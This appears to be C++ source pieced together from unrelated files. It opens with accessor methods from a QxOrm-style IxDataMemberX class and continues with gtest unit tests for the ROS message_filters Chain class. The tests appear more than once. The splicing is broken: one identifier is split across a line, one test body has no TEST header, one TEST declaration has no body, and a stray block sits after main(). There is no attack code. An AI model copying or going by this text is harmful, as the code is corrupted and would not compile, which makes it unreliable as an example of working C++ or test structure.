const char * IxDataMemberX::getNamePtr() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getNamePtr() : NULL); }

QString IxDataMemberX::getDescription() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getDescription() : ""); }

long IxDataMemberX::getVersion() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getVersion() : -1); }

qx::dao::strategy::inheritance IxDataMemberX::getDaoStrategy() const { return (m_pImpl->m_pClass ? m_pImpl->m_pClass->getDaoStrategy() : qx::dao::strategy::concrete_table_inheritance); }

long IxDataMemberX::count() const { return m_pImpl->m_lstDataMember.count(); }

long IxDataMemberX::size() const { return this->count(); }

bool IxDataMemberX::exist(const QString & sKey) const { return m_pImpl->m_lstDataMember.exist(sKey); }

IxDataMember * IxDataMemberX::get(long l) const { return m_pImpl->m_lstDataMember.getByIndex(l); }

IxDataMember * IxDataMemberX::get(const QString & s) const { return m_pImpl->m_lstDataMember.getByKey(s); }

IxDataMember * IxDataMemberX::getId() const { return m_pImpl->m_pDataMemberId; }

void IxDataMemberX::setId(IxDataMember * p) { m_pImpl->m_pDataMemberId = p; }

QxCollection<QString, IxDataMember *> & IxDataMemberX::getListDataMemberRef() { return m_pImpl->m_lstDataMember; }

const QxCollection<QString, IxDataMember *> & IxDataMemb

erX::getListDataMemberRef() const { return m_pImpl->m_lstDataMember; }

QxCollection<QString, IxDataMember *> & IxDataMemberX::getListPImplRef() { return m_pImpl->m_lstPImpl; }

const QxCollection<QString, IxDataMember *> & IxDataMemberX::getListPImplRef() const { return m_pImpl->m_lstPImpl; }

} // namespace qx


/*********************************************************************
*********************************************************************/

#include <gtest/gtest.h>

#include "ros/time.h"
#include <ros/init.h>
#include "message_filters/chain.h"

using namespace message_filters;

struct Msg
{
};
typedef boost::shared_ptr<Msg> MsgPtr;
typedef boost::shared_ptr<Msg const> MsgConstPtr;

class Helper
{
public:
  Helper()
  : count_(0)
  {}

  void cb()
  {
    ++count_;
  }

  int32_t count_;
};

typedef boost::shared_ptr<PassThrough<Msg> > PassThroughPtr;

TEST(Chain, simple)
{
  Helper h;
  Chain<Msg> c;
  c.addFilter(boost::make_shared<PassThrough<Msg> >());
  c.registerCallback(boost::bind(&Helper::cb, &h));

  c.add(boost::make_shared<Msg>());
  EXPECT_EQ(h.count_, 1);
  c.add(boost::make_shared<Msg>());
  EXPECT_EQ(h.count_, 2);
}

TEST(Chain, multipleFilters)
{
  Helper h;
  Chain<Msg> c;
  c.addFilter(boost::make_shared<PassThrough<Msg> >());
  c.addFilter(boost::make_shared<PassThrough<Msg> >());
  c.addFilter(boost::make_shared<PassThrough<Msg> >());
  c.addFilter(boost::make_shared<PassThrough<Msg> >());
  c.registerCallback(boost::bind(&Helper::cb, &h));

  c.add(boost::make_shared<Msg>());
  EXPECT_EQ(h.count_, 1);
  c.add(boost::make_shared<Msg>());
  EXPECT_EQ(h.count_, 2);
}

TEST(Chain, addingFilters)
{
  Helper h;
  Chain<Msg> c;
  c.addFilter(boost::make_shared<PassThrough<Msg> >());
  c.addFilter(boost::make_shared<PassThrough<Msg> >());
  c.registerCallback(boost::bind(&Helper::cb, &h));

  c.add(boost::make_shared<Msg>());
  EXPECT_EQ(h.count_, 1);

  c.addFilter(boost::make_shared<PassThrough<Msg> >());
  c.addFilter(boost::make_shared<PassThrough<Msg> >());

  c.add(boost::make_shared<Msg>());
  EXPECT_EQ(h.count_, 2);
}

TEST(Chain, inputFilter)
{
  Helper h;
  Chain<Msg> c;
  c.addFilter(boost::make_shared<PassThrough<Msg> >());
  c.registerCallback(boost::bind(&Helper::cb, &h));

  PassThrough<Msg> p;
  c.connectInput(p);
  p.add(boost::make_shared<Msg>());
  EXPECT_EQ(h.count_, 1);

  p.add(boost::make_shared<Msg>());
  EXPECT_EQ(h.count_, 2);
}

TEST(Chain, nonSharedPtrFilter)
{
  Helper h;
  Chain<Msg> c;
  PassThrough<Msg> p;
  c.addFilter(&p);
  c.registerCallback(boost::bind(&Helper::cb, &h));

  c.add(boost::make_shared<Msg>());
  EXPECT_EQ(h.count_, 1);
  c.add(boost::make_shared<Msg>());
  EXPECT_EQ(h.count_, 2);
}

{
  Chain<Msg> c;

  ASSERT_FALSE(c.getFilter<PassThrough<Msg> >(0));

  c.addFilter(boost::make_shared<PassThrough<Msg> >());

  ASSERT_TRUE(c.getFilter<PassThrough<Msg> >(0));
  ASSERT_FALSE(c.getFilter<PassThrough<Msg> >(1));
}

TEST(Chain, retrieveFilterThroughBaseClass)
{
  Chain<Msg> c;
  ChainBase* cb = &c;

  ASSERT_FALSE(cb->getFilter<PassThrough<Msg> >(0));

  c.addFilter(boost::make_shared<PassThrough<Msg> >());

  ASSERT_TRUE(cb->getFilter<PassThrough<Msg> >(0));
  ASSERT_FALSE(cb->getFilter<PassThrough<Msg> >(1));
}

struct PTDerived : public PassThrough<Msg>
{

};

TEST(Chain, retrieveBaseClass)
{
  Chain<Msg> c;
  c.addFilter(boost::make_shared<PTDerived>());
  ASSERT_TRUE(c.getFilter<PassThrough<Msg> >(0));
  ASSERT_TRUE(c.getFilter<PTDerived>(0));
}

int main(int argc, char **argv){
  testing::InitGoogleTest(&argc, argv);
  ros::init(argc, argv, "blah");
  ros::Time::init();
  return RUN_ALL_TESTS();
}


{
  Helper h;
  Chain<Msg> c;
  c.addFilter(boost::make_shared<PassThrough<Msg> >());
  c.addFilter(boost::make_shared<PassThrough<Msg> >());
  c.addFilter(boost::make_shared<PassThrough<Msg> >());
  c.addFilter(boost::make_shared<PassThrough<Msg> >());
  c.registerCallback(boost::bind(&Helper::cb, &h));

  c.add(boost::make_shared<Msg>());
  EXPECT_EQ(h.count_, 1);
  c.add(boost::make_shared<Msg>());
  EXPECT_EQ(h.count_, 2);
}

/*********************************************************************
*********************************************************************/

#include <gtest/gtest.h>

#include "ros/time.h"
#include <ros/init.h>
#include "message_filters/chain.h"

using namespace message_filters;

struct Msg
{
};
typedef boost::shared_ptr<Msg> MsgPtr;
typedef boost::shared_ptr<Msg const> MsgConstPtr;

class Helper
{
public:
  Helper()
  : count_(0)
  {}

  void cb()
  {
    ++count_;
  }

  int32_t count_;
};

typedef boost::shared_ptr<PassThrough<Msg> > PassThroughPtr;

TEST(Chain, simple)
{
  Helper h;
  Chain<Msg> c;
  c.addFilter(boost::make_shared<PassThrough<Msg> >());
  c.registerCallback(boost::bind(&Helper::cb, &h));

  c.add(boost::make_shared<Msg>());
  EXPECT_EQ(h.count_, 1);
  c.add(boost::make_shared<Msg>());
  EXPECT_EQ(h.count_, 2);
}

TEST(Chain, multipleFilters)

TEST(Chain, addingFilters)
{
  Helper h;
  Chain<Msg> c;
  c.addFilter(boost::make_shared<PassThrough<Msg> >());
  c.addFilter(boost::make_shared<PassThrough<Msg> >());
  c.registerCallback(boost::bind(&Helper::cb, &h));

  c.add(boost::make_shared<Msg>());
  EXPECT_EQ(h.count_, 1);

  c.addFilter(boost::make_shared<PassThrough<Msg> >());
  c.addFilter(boost::make_shared<PassThrough<Msg> >());

  c.add(boost::make_shared<Msg>());
  EXPECT_EQ(h.count_, 2);
}

TEST(Chain, inputFilter)
{
  Helper h;
  Chain<Msg> c;
  c.addFilter(boost::make_shared<PassThrough<Msg> >());
  c.registerCallback(boost::bind(&Helper::cb, &h));

  PassThrough<Msg> p;
  c.connectInput(p);
  p.add(boost::make_shared<Msg>());
  EXPECT_EQ(h.count_, 1);

  p.add(boost::make_shared<Msg>());
  EXPECT_EQ(h.count_, 2);
}

TEST(Chain, nonSharedPtrFilter)
{
  Helper h;
  Chain<Msg> c;
  PassThrough<Msg> p;
  c.addFilter(&p);
  c.registerCallback(boost::bind(&Helper::cb, &h));

  c.add(boost::make_shared<Msg>());
  EXPECT_EQ(h.count_, 1);
  c.add(boost::make_shared<Msg>());
  EXPECT_EQ(h.count_, 2);
}

TEST(Chain, retrieveFilter)
{
  Chain<Msg> c;

  ASSERT_FALSE(c.getFilter<PassThrough<Msg> >(0));

  c.addFilter(boost::make_shared<PassThrough<Msg> >());

  ASSERT_TRUE(c.getFilter<PassThrough<Msg> >(0));
  ASSERT_FALSE(c.getFilter<PassThrough<Msg> >(1));
}

TEST(Chain, retrieveFilterThroughBaseClass)
{
  Chain<Msg> c;
  ChainBase* cb = &c;

  ASSERT_FALSE(cb->getFilter<PassThrough<Msg> >(0));

  c.addFilter(boost::make_shared<PassThrough<Msg> >());

  ASSERT_TRUE(cb->getFilter<PassThrough<Msg> >(0));
  ASSERT_FALSE(cb->getFilter<PassThrough<Msg> >(1));
}

struct PTDerived : public PassThrough<Msg>
{

};

TEST(Chain, retrieveBaseClass)
{
  Chain<Msg> c;
  c.addFilter(boost::make_shared<PTDerived>());
  ASSERT_TRUE(c.getFilter<PassThrough<Msg> >(0));
  ASSERT_TRUE(c.getFilter<PTDerived>(0));
}

int main(int argc, char **argv){
  testing::InitGoogleTest(&argc, argv);
  ros::init(argc, argv, "blah");
  ros::Time::init();
  return RUN_ALL_TESTS();
}